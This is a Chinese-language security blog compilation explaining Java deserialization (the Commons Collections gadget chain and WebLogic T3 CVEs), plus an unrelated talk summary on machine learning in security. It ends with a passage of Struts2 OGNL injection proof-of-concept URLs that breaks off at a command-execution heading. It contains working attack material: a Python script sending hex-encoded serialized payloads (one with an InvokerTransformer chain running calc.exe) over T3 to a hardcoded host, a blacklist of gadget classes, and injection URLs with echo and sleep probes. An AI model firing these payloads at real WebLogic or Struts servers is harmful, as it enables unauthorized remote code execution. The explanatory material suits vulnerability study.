https://www.youtube.com/watch?v=VviY3O-euVQ
http://wouter.coekaerts.be/2015/annotationinvocationhandler
http://www.baeldung.com/java-dynamic-proxies
https://stackoverflow.com/questions/37068982/how-to-execute-shell-command-with-parameters-in-groovy
https://stackoverflow.com/questions/37628/what-is-reflection-and-why-is-it-useful

序列化和反序列化

先知首发地址

Java反序列化

序列化:把对象转换为字节序列的过程。
反序列化:把字节序列恢复为对象的过程。

JDK类库中的序列化API

java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
  java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

在Java中,对象的序列化与反序列化被广泛应用到RMI(远程方法调用)及网络传输中。

Java序列化数据解析

数据开头为“AC ED 00 05”,数据内容包含了包名与类名、类中包含的变量名称、类型及变量的值。

ava.io.ObjectStreamConstants类中定义了STREAM_MAGIC与STREAM_VERSION,查看JDK1.5、1.6、1.7、1.8的ObjectStreamConstants类,STREAM_MAGIC值均为0xaced,STREAM_VERSION值均为5。

影响范围

Breenmachine的这篇blog让java反序列化漏洞得到更多的关注,他介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

漏洞原理

如果Java应用对用户输入,即不可信数据没有进行校验而直接做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

Apache Commons Collections

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验.
Apache Commons Collections中提供了一个Transformer的类,这个接口的的功能就是把一个对象转换为另一个对象。

图上红框标注的是java反序列化漏洞的poc包含的类。
invokeTransformer:Transformer implementation that creates a new object instance by reflection.(通过反射,返回一个对象)
ChainedTransformer:Transformer implementation that chains the specified transformers together.(把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
ConstantTransformer:Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)
InvokerTransformer是比较关键的一个类,我们来看看它的实现:

我们可以看到该该方法中采用了反射的方法进行函数调用,Input参数为要进行反射的对象(反射机制就是可以把一个类,类的成员(函数,属性),当成一个对象来操作,希望读者能理解,也就是说,类,类的成员,我们在运行的时候还可以动态地去操作他们.),iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型,iArgs为对应方法的参数,在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
POC:

Poc解读:整个poc的逻辑可以这么理解,构建innerMap的键值对,为其赋值,利用Transformed的decorate方法,可以对Map数据结构的key,value进行transform。该方法有三个参数,第一个为待转化的map对象,第二个为map对象内的key要经过的转化方法,第三个参数为map对象内的value要经过的转化方法。
TransformedMap.decoreate(目标map,key的转化对象(null或者单个链),value的转化对象)
poc对innerMap的value进行转换,当innerMap的value执行完一个完整的转换链,就完成了命令执行。

如果Java应用没有对传入的序列化数据进行安全性检查,我们可以将恶意的TransformedMap序列化后,远程提交给Java应用,如果Java应用可以触发变换,即可成功远程命令执行。那如何让Java应用触发Transformer的变换呢?
在进行反序列化时,我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。
结合前述Commons Collections的特性,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型.

AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数。

因此,我们只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。
这段POC本质上就是利用反射调用Runtime() 执行了一段系统命令,作用等同于:

1
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");

Weblogic Exploit

Oracle Weblogic T3 Deserialization Remote Code Execution Vulnerability
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
weblogic 采用T3协议进行序列化数据的传输,可以看到weblogic发送的JAVA序列化数据分为6个部分,第一部分的前四个字节为整个数据包的长度,第2-6部分均为JAVA序列化数据。经测试,必须先发送T3协议头数据包,再发送JAVA序列化数据包,才能使weblogic进行JAVA反序列化,进而触发漏洞。如果只发送JAVA序列化数据包,不先发送T3协议头数据包,无法触发漏洞。

CVE-2015-4852

blacklist

1
2
3
4
5
6
org.apache.commons.collections.functors*
com.sun.org.apache.xalan.internal.xsltc.trax*
javassist*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

CVE-2015-4852的反序列化的点有三个:

1
2
3
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

后面的几个漏洞实质都是对黑名单的一个绕过。

CVE-2016-0638

原理将反序列化的对象封装进了 weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject 进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject 对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

CVE-2017-3248

利用了黑名单之外的反序列化类,通过 JRMP 协议达到执行任意反序列化 payload。(Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。)
下面给出一段在tenable找的描述

1
2
3
In the case of WebLogic, we are interested in yososerial's JRMPListener.java payload. This serializes a RemoteObjectInvocationHandler which uses a UnicastRef object to establish a TCP connection to a remote server in order to get at the remote server's RMI registry. This connection uses JRMP so the client will deserialize whatever the server responds with, achieving unauthenticated remote code execution.
Exploiting WebLogic
To demonstrate the issue to ZDI and Oracle, Tenable created two scripts. The first script is a server that listens for the callback, called jrmp_listener.py. When the connect back connects to jrmp_listener.py it will send a CommonCollections3 payload in response which will trigger the RCE on WebLogic. The second script sends the serialized object to WebLogic via t3 on TCP port 7001 (just like the original FoxGlove attack), called jrmp_connect_back.py. In order to exploit WebLogic, jrmp_listener.py must be executed before jrmp_connect_back.py. The result of the exploitation will cause the connect back, which exists on its own thread, to be executed multiple times (which means an attacker could deliver multiple payloads).

漏洞利用

漏洞利用的步骤:
1.找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。
2.应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库也行)
3.使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可。
4.通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。
最关键的是用恶意的序列化数据去替换正常的序列化数据

ysoserial

ysoserial

下面给出一个’CVE-2016-0638’,’CVE-2016-3510’,’CVE-2017-3248’的无害poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding: utf-8 -*-
import socket
import time
import re
#
# @author iswin@threathunter.org
# reffer: nessus
#
VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
VER_SIG=['weblogic.jms.common.StreamMessageImpl','org.apache.commons.collections.functors.InvokerTransformer','\\$Proxy[0-9]+']
def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print 'handshake successful'
def buildT3RequestObject(sock,port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception as e:
pass
return res
def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
else:
print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])
def run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
sock.settimeout(50)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(sock,dport)
rs=sendEvilObjData(sock,PAYLOAD[index])
checkVul(rs,server_addr,index)
if __name__=="__main__":
dip = '10.8.56.17'
dport = 7001
for i in range(0,len(VUL)):
run(dip,dport,i)

漏洞验证环境可以用phith0n牛的weblogic环境:weak_password

机器学习在信息安全中的应用

前段时间听了一个”机器学习在信息安全中的应用”的讲座,应该是我今年听关于机器学习在信息安全中的应用的最好的一场,研究嘉宾是kkqq大神,后来自己又做了一些思考,在此做一个总结。
在和黑客对抗的过程中,面对的威胁有3个不同的认知程度:
1.已知的威胁。
2.已知的未知的威胁。
3.未知的未知的威胁。
很多时候,在做产品、做运营和做研究的时,最大的恐惧是面对一个最未知的恐惧;因为只要知道这个情况是已知的,有很多技术手段都是可以解决的。
首先我们说一下如何定义和衡量已知和未知。从安全角度来说比较容易:
已知的已知就是我如果在做一个产品,我自己每天能看见的,能检测到的;
已知的未知就是我自己看不见,也检测不到,但是友商们都有检测;
未知的未知确实就是我不知道,除非它发生了,被通过某些机缘巧合的情况下暴露了出来,这个情况下,才会换成我们所谓的已知的未知。
做安全的,不管是甲方还是乙方,面临同样的挑战,就是一个事情只要我知道,我所有的分析,所有的IOC,所有的威胁情报都能跟上去,但如果这个事情我不知道,那真是无从下手。
其实在每一个层次上面,我们也可以横向定义到我们的产品,我们的运营上面去,我们怎么样去衡量你是不是在这个层次上做得比较好。
首先,要解决的是效果问题。这些效果包括我的检出率、召回率、误报率,就是这些不同的指标。但是更重要的是运营的,我怎么去衡量。不管你做任何的系统,你如果一天摔给我1000个报警,那我绝对不可能响应的过来的,所以运营就是事件可响应的数量不能太多。
每一个攻击来的时候,如果你不知道它背后是谁,那你这个其实还是没有解决到根本的问题。
我们用这个效果运营和知己知彼来衡量你在每个维度上到底能做到什么样的程度。

规则系统

我只需要写规则,我就能把这个问题解决掉。但是有一个坏处,严重依赖于安全专家,因为你要想把一个安全场景的检测逻辑转化到一个规则系统里面,你是需要人深入了解到清楚每一个环节。
规则系统,就是写规则嘛。它的误报率和检出率都是相对比较认可的,误报也是比较可控的,可运营的。我出了一个误报,我可以做到把这个规则删了就可以了,这样误报就没有了,不影响你整个架构。
存在的问题就是规则系统是严重依赖于你的专家的知识,天然的就限制了你的规则系统是基于被动响应的模式的,比如说杀毒软件,只有我有一个样本我才能写一套规则,而且要在过程中是严重依赖于分析师的。我们拿杀毒软件举例子,分析师说我需要确定一下这个家族有什么样的特征,为了很快的能做响应,它有很多烦琐的或者是特别重的自动化流程去做。
还是相对有一个好处,能很明确的告诉你,这是什么病毒,这个在有时候,尤其是在互联网企业做安全运营的时候是很重要的指标,因为我如果来了一个远控和我来了一个普通的刷流量的恶意软件,这个威胁程度在我们看来是不一样的。

机器学习

我有一个固定的数据集合集,我有一个模型套上去,我先做一个模型,然后我有检测结果。严重依赖与我们的安全专家,提供精确的数据标签。我需要不断的再把它的结果打上标签,再去逐步做验证,它其实是一个人工辅助的过程。
机器学习和以前的规则系统不大一样,以前的规则系统是安全研究员就能搞定的事情。但是在机器学习的场景下,是需要安全专家和数据科学家共同协作的。
其实在机器学习的场景下,你会发现安全专家起到的作用要比数据科学家要重一点,因为它里面有一个特征提取的过程,这个特征提取是很严重的依赖于你的专家先验知识的,这些特征提取是数据科学家解决不了的一个问题。
机器学习就是它在固定数据集的时候,效果特别好,输入、输出严格限定的话,效果绝对要比规则系统强很多。
数据处理要比你的规则系统要强,因为它是天然的和大数据这套东西都结合起来的。
但是第二个就有待商榷,它落地的时候这个误报率,第一步它在训练的时候那个指标特别好看,但是安全每天的形势都是在变的,今天你做的四个九、五个九的模型,明天来了一个新的东西,你会发现他以前没考虑到,有误报。这个误报就不是简单的0.001%的标准,很可能放大到一个你没有做运营的场景。
在一个规则系统里面,你如果要做误报,这个响应是相对比较容易的,我就删一条规则嘛,大不了加个强限制的的条件。机器学习的时候,你看这个模型是人一眼看上去理解不了的,需要很精确的、很深入的做关联,才能理解机器学习的模型,就意味着你不能通过一个简单的把一个分支改掉的方式解决问题,得需要把模型重新迭代一遍,迭代模型大家做过的都知道,周期是比较长的了。
最后一个是它的威胁分类比较困难。

深度学习

它在解决大局观的问题下,要比人的性能要好。那我们给它一个定位,它尝试在解决一个已知的未知的问题,它能比机器学习解决得更好。但是它也在尝试着突破未知的未知,这个可能比较难理解,我们后面也展开说一下。
它还是严重的依赖专家,给你提供一个初始的数据集用来做标签,用来做结果验证。但是你会明显感觉到,如果大家在说神经网络的时候,你会发现专家的分量降低了,算法和计算或者是模型的层次会变高了。那就变成一个数据科学家主导的过程,而不是专家主导的过程,专家更多是去辅助验证这个模型。
深度学习和机器学习都有同样的问题,但是因为它的更不可控性或者是更不理解性,所以就造成了和机器学习有同样的问题,但是会相对比更严重。

应用场景

特定场景的检测,就是固定输入输出,有固定的规则系统。在固定场景的情况下,还是有很大的潜力去发现已知的未知,甚至于去发现一些未知的未知,这些特定场景我们前面也提到了有一些问题,比如说误报的问题、漏报的问题,也是通过一个运营的方式去解决,但是运营的方和我们以前常见的不一样,我们杀毒软件来了误报了以后,我们都是分析师去处理的,但是在机器学习、人工智能这个大框架下,是通过数据密集型的逻辑去解决的。
多维度中的一个维度,因为我们前面提到的,机器学习和深度学习最大的问题可能在落地的时候是有误报的问题和时效性的问题,在泛安全的场景下,其实还有很多场景不需要这么强的对误报的容忍度或者是漏报的容忍度那么低的。而且在大的体系下是只依赖于一个东西做某些程度的决策,而不是要求你做百分百的决策。
实时对抗性没那么强。这些场景大家都相对比较熟悉了,就是风控,风控包括人脸识别、用户粗向、策略模型,你会发现在某一个子方向上确实没有程度做到一个我们可以直接拿过来做单一维度的对抗手段,但是你把所有的这些东西综合在一起,因为风控讲的是可控,我们如果是搞攻防对抗的,你有一起安全事故很可能被搞了,但是风控在大的场景下,只有一个百分比的用户的损失是可以接受的,我就是相对比较成功的,所以在这种场景应用是很成功的。
威胁情报,很多人可能喜欢把威胁情报归到检测里面去,但是我觉得不是,它主要还是解决知己知彼的问题,在知己知彼的场景下,它其实是可以通过人工后期确认的方式,来达到你要的效果。所以在这个场景下它也没有那么高的实时对抗性的误报的要求。
最常见的,后台数据处理,批量数据分析包括聚类、分类这些应用,可能每家都有很成功的应用。

未知的未知

未知的未知我们到底怎么解决,是我们现在相对比较前沿的在人工智能方向上的一个,AlphaGo里面用的那套模型,就是Reinforcement Learning,里面有一个反馈机制,我觉得人工智能的路还很长,但是这些跬步都是一步步积累下来的,我们虽然看不到人工智能在信息安全或者是其他行业的终局,但是能看到的就是Reinforcement Learning在下一步的人工智能里面相对迭代效果还不错的。
如果要落地的话,你会发现数据的重要性远远大于其他所有方面。
没有数据就没有大数据,没有大数据就没有人工智能,也没有机器学习。
模型,大家有时候可能觉得模型和算法是一套东西,模型在我们的概念就是一个威胁场景,必须要定义好你要解决什么样的问题,在这种情况下用算法适配,而不是反过来。所以我们自己的概念是说数据大于模型,模型大于算法。我们自己切身的体验是,你如果按照这个走的话,你的落地的效果肯定会多一些。

解密Struts2 POC

struts的威力大家都知道,这里找几个有代表性的POC讲一下,做一个记录。

#####回显POC
poc1

1
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))

poc2(类型转换漏洞需要把POC加在整型参数上):

1
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22))%2b'

poc3(需要注意这里也必须是加载一个String(字符串类型)的参数后面,使用的时候把URL里面的两个foo替换成目标参数(注意POC里面还有个foo)):

1
http://127.0.0.1/Struts2/hello.action?foo=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22))&z[(foo)('meh')]=true

poc4

1
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22[/ok]%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]

poc5

1
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23response=@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}

poc6

1
http://127.0.0.1/Struts2/$%7B%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23resp.println(%22[ok]%22),%23resp.close()%7D.action

poc7

1
http://localhost/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}

@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22)其实是静态调用ServletActionContext; ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。拿到一个HttpServletResponse响应对象后就可以调用getWriter方法(返回的是PrintWriter)让Servlet容器上输出[/ok]了,而其他的POC也都做了同样的事:拿到HttpServletResponse,然后输出[/ok]。其中的allowStaticMethodAccess在Struts2里面默认是false,也就是默认不允许静态方法调用。

#####精确判断是否存在(延迟判断):
poc1

1
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))

poc2

1
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'

poc3

1
http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true

poc4

1
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]

poc5

1
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}

poc6

1
http://127.0.0.1/Struts2/${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}.action

之前很多的利用工具都是让线程睡一段时间再去计算时间差来判断漏洞是否存在。这样比之前的回显更靠谱,缺点就是慢。而实现这个POC的方法同样是非常的简单其实就是静态调用java.lang.Thread.sleep(5000)就行了。而命令执行原理也是一样的。

命令执行

关于回显:webStr\75new\40byte[100] 修改为合适的长度。
poc1

1
